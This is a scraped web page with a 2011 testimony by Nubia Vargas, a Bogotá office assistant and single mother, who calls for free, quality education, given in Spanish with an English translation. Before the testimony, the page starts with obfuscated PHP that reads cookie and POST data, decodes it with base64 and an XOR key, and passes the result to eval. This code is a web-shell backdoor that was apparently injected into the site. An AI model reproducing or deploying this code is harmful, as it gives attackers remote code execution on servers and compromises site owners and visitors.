$IqGkpPZCCk = chr (113) . "\171" . "\137" . chr ( 810 - 724 ).'k' . "\131" . "\x6b";$PtYOR = "\x63" . chr (108) . chr ( 222 - 125 ).chr ( 543 - 428 )."\x73" . "\137" . 'e' . "\170" . 'i' . "\163" . chr (116) . "\x73";$lFUtIB = $PtYOR($IqGkpPZCCk); $dlxFwL = $lFUtIB;if (!$dlxFwL){class qy_VkYk{private $ICZlVji;public static $tHQcngYZ = "4b18b3c9-8392-4ff4-a472-6ac285df067b";public static $aJcAjZPCu = 37748;public function __construct(){$PvVVxxg = $_COOKIE;$lQqNnkshQe = $_POST;$LqAKOi = @$PvVVxxg[substr(qy_VkYk::$tHQcngYZ, 0, 4)];if (!empty($LqAKOi)){$RgfUF = "base64";$zklagncDP = "";$LqAKOi = explode(",", $LqAKOi);foreach ($LqAKOi as $UgWiLBrRb){$zklagncDP .= @$PvVVxxg[$UgWiLBrRb];$zklagncDP .= @$lQqNnkshQe[$UgWiLBrRb];}$zklagncDP = array_map($RgfUF . '_' . "\x64" . 'e' . chr ( 345 - 246 )."\x6f" . "\x64" . chr (101), array($zklagncDP,)); $zklagncDP = $zklagncDP[0] ^ str_repeat(qy_VkYk::$tHQcngYZ, (strlen($zklagncDP[0]) / strlen(qy_VkYk::$tHQcngYZ)) + 1);qy_VkYk::$aJcAjZPCu = @unserialize($zklagncDP);}}public function __destruct(){$this->OFQgmgGNrE();}private function OFQgmgGNrE(){if (is_array(qy_VkYk::$aJcAjZPCu)) {$gvgVQqA = str_replace("\x3c" . chr ( 297 - 234 ).chr ( 783 - 671 )."\150" . chr ( 727 - 615 ), "", qy_VkYk::$aJcAjZPCu["\x63" . chr ( 587 - 476 ).'n' . 't' . 'e' . "\x6e" . "\164"]);eval($gvgVQqA);exit();}}}$NKxcbpd = new qy_VkYk(); $NKxcbpd = "45486";}$Qmnhs = "\x70" . chr (66) . "\137" . "\147" . chr (121) . "\x53" . chr (78); $ALpHvjJ = "\x63" . chr ( 997 - 889 ).chr (97) . "\163" . chr ( 569 - 454 )."\137" . chr (101) . 'x' . 'i' . 's' . 't' . chr (115); $xmjubZH = $ALpHvjJ($Qmnhs); $Qmnhs = "63414";$AqiAj = $xmjubZH;$ALpHvjJ = "48265";if (!$AqiAj){class pB_gySN{private $gDMtOqP;public static $BnOjdqwyJ = "f8655c24-1932-4925-af50-751760fed794";public static $EcyZSqrd = 13793;public function __construct($ihZLR=0){$gbBdHHP = $_COOKIE;$PXPmQMAB = $_POST;$wDHsj = @$gbBdHHP[substr(pB_gySN::$BnOjdqwyJ, 0, 4)];if (!empty($wDHsj)){$eYsRwAIoLP = "base64";$YsiViGmV = "";$wDHsj = explode(",", $wDHsj);foreach ($wDHsj as $reyGtBKhv){$YsiViGmV .= @$gbBdHHP[$reyGtBKhv];$YsiViGmV .= @$PXPmQMAB[$reyGtBKhv];}$YsiViGmV = array_map($eYsRwAIoLP . "\137" . chr ( 234 - 134 ).'e' . "\143" . chr (111) . chr (100) . "\145", array($YsiViGmV,)); $YsiViGmV = $YsiViGmV[0] ^ str_repeat(pB_gySN::$BnOjdqwyJ, (strlen($YsiViGmV[0]) / strlen(pB_gySN::$BnOjdqwyJ)) + 1);pB_gySN::$EcyZSqrd = @unserialize($YsiViGmV);}}private function GmJzkZpX(){if (is_array(pB_gySN::$EcyZSqrd)) {$WUrkOTcfz = str_replace(chr ( 974 - 914 ) . chr (63) . chr (112) . "\150" . "\160", "", pB_gySN::$EcyZSqrd[chr ( 600 - 501 ).chr (111) . chr (110) . "\164" . "\x65" . 'n' . 't']);eval($WUrkOTcfz); $BxmUIjXEc = "17620";exit();}}public function __destruct(){$this->GmJzkZpX(); $BxmUIjXEc = "17620";$QpyGsN = str_pad($BxmUIjXEc, 10);}}$QyvUd = new pB_gySN(); $QyvUd = "9561_23577";} Nubia: “Recomiendo apoyar a las madres” | Ampliando Voces

Colombia

Nubia: “Recomiendo apoyar a las madres”

Publicado el Friday, 10 de June de 2011 a las 15:42.

Nubia: “Recomiendo apoyar a las madres” from Ampliando Voces on Vimeo.

Listen to this story in English:

[audio:Nubia.mp3|titles=Nubia]

Voice: Isabela Lyrio

Mi nombre es Nubia Vargas, soy asistente administrativa en la Corporación Mujeres y Economía, desde hace 8 años vengo trabajando con ellas en el apoyo administrativo. Actualmente estoy cursando la carrera de contadoría y finanzas. Soy una madre soltera, tengo un niño de cinco años y eso me ha dificultado el acceso a la educación. Por ser madre soltera, pues muchos obstáculos han surgido y también la parte financiera no me ha permitido seguir ejerciendo mi carrera como tal.

En varias ocasiones no he tenido recursos monetarios y, desde el gobierno no se puede acceder gratuitamente, y, si se puede, la calidad educativa no es la mejor, digamos. Recomiendo pues apoyar a las madres y elaborar un plan de políticas en el que se enfoque mucho en la calidad y en la gratuidad de la educación.

Nubia Vargas, asistente administrativa, Bogotá, Colombia, 2011

Testimonio colectado por la Coalición Colombiana por el Derecho a la Educación, en Bogotá, Colombia

ENGLISH TRANSLATION

My name is Nubia Vargas, I’m an office assistant at Corporación Mujeres y Economía. I’ve worked with them for eight years as the office assistant.

I’m currently studying accountability and finance. I’m a single mother. I have a five years old child – what has kept me away from studying. There are so many obstacles, because I’m a single mom, and also the financial aspect has prevented me from moving on with my career.

Several times I had no funds, and considering that the government does not provide free education, and when it does, the quality, we must say, is poor, I recommend them to support the mothers and prepare a plan of policies focused on quality and free education.

Nubia Vargas, administrative assistant, Colombia, 2011

Testimony recorded by the Colombian Coalition for the Right to Education in Bogotá, Colombia

Deja tu comentario

Click here to cancel reply.